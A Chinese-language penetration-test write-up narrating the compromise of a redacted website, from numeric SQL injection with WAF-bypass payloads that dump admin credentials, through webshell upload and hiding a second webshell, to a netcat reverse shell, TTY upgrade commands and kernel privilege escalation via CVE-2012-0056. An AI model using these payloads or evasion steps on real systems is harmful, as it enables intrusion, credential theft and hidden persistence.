0x00 前言
分享一个简单的项目,小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。
先说重要的事情:如有 漏码少码 导致能定位目标请各位师傅手下留情。
0x01 信息收集
过程略,收集到目标的主站、邮服、dns服务器,之后选择从主站入手。
0x02 漏洞挖掘
先在域名后随手加一个 admin 找到后台。
回到前台,随意点点,发现可疑参数 id
?id=125 and 1=0 页面变空白?id=125 and 1=1
页面恢复正常确认存在数字型注入,数字型注入的payload后面一般不用加注释
(图略,打码太累了)
?id=125 order by 7 页面正常?id=125 order by 8
页面报错确认注入点查询7列(图略,打码太累了)
?id=125 union select 1,2,3,4,5,6,7
使用union联合查询注入确认回显点时存在问题,页面迟迟无响应。
猜想是有waf做了过滤,接下来逐步测试 waf 到底过滤了什么东西。
每个waf都有自己的过滤特征(以前的安全狗是出现一只狗),可以判断该waf的过滤特征就是页面无响应.
所以出现其他情况(正常回显,数据库报错等)都可判断是 绕过waf成功
?id=125 union 页面报错而不是无响应,说明waf没有过滤un
?id=125 union select 页面无响应,说明过滤了select或union select
?id=125 union sElecT
关键字大小写混用尝试绕过,页面依旧无响应,绕过失败(图略)
?id=125union /*!sElecT*/ mysql内联注释尝试绕过过滤,页面报错,绕过成功
?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7
确认回显列,却没有在页面发现数字回显,依旧是正常显示着新闻。
(图略,打码太累了)
?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7
怀疑是代码没有用循环输出,所以只能显示查询出的第一列,
正常查询的结果干扰了我们注入的回显。
于是更改前面的id为0,让程序查不出正常的数据,成功发现第2和第5列回显
通过information_schema数据库找表找列的注入过程略,最终查出管理员账号密码的payload.
如下 :
(中间又被waf拦了一次,于是将内联注释做了一个升级,空格和union关键字也做了混淆最终绕过)
id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd)separator ‘<br>’),6,7/**/From/**/admin
这里解释一下, concat_ws函数 是将多个列的结果合并返回,以第一个参数为分割符。 group_concat 则是多个行的结果合并返回,以 separator后面指定的参数 (换行符)为分隔符,于是一条payload即可注出表中所有数据。
登陆后台找到编辑器功能。
上传图片处没有限制后缀也没有检测内容,上传webshell成功。
右键查看图片地址,访问却404 Not Found了。
查看编辑器框架的源代码。
发现可疑链接
尝试访问并测试成功,后面猜测 /resizeimage 里存放的是缩略图,上传的php文件无法处理成缩略图形式所以404,而 uploadfiles 里面存放的是原图。
蚁剑连接成功,特别喜欢这个绿色的小框框。
在隐蔽的目录下藏一个新的webshell,然后去后台把刚才的webshell删除,避免被轻易发现。
0x03 反弹shell
用户权限不高,接下来尝试提权
因为webshell基于 http协议(无状态协议) ,
前后操作没有关联,提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来,这里用自己的vps,先关闭vps的防火墙。
然后在vps上用nc监听9999端口。
用webshell给目标服务器写入一个py的反弹脚本。
在蚁剑上执行py脚本,可以看到vps上成功接收到shell。
此时的shell仍然不是一个交互式shell,不能执行 交互性工作 和 su命令 ,需要用 pty库 模拟一个终端出来,并用stty升级成完全交互式shell。
看图不清楚的,文字描述过程如下:
$ python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
// 这里是反弹shell挂起后在本机shell里的操作,stty升级后用fg把挂起的shell调出到前台
$ stty raw -echo
$ fg
// 这里重新进入了反弹shell,一开始页面会有点怪,执行了reset后就会恢复
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows columns
0x04 提升权限
开始提权,尝试使用 suid提权 :带有s标志的文件运行时会以创建者而非使用者的权限运行,一些敏感命令如果带有s属性可以用来提权。
查找了所有s标志位文件,试图用ping命令提权失败(忘了截图了)。
改变思路,利用linux内核漏洞CVE-2012-0056成功提权。
后面没了,内网渗透?
0x05 总结
攻击链: 前台sql注入 —— 绕过waf —— 后台文件上传 —— 找到真实上传路径 —— 反弹shell —— 升级shell —— 内核漏洞提权 。
如有 漏码少码 导致能定位目标请各位师傅手下留情.
欢迎关注公众号:安译Sec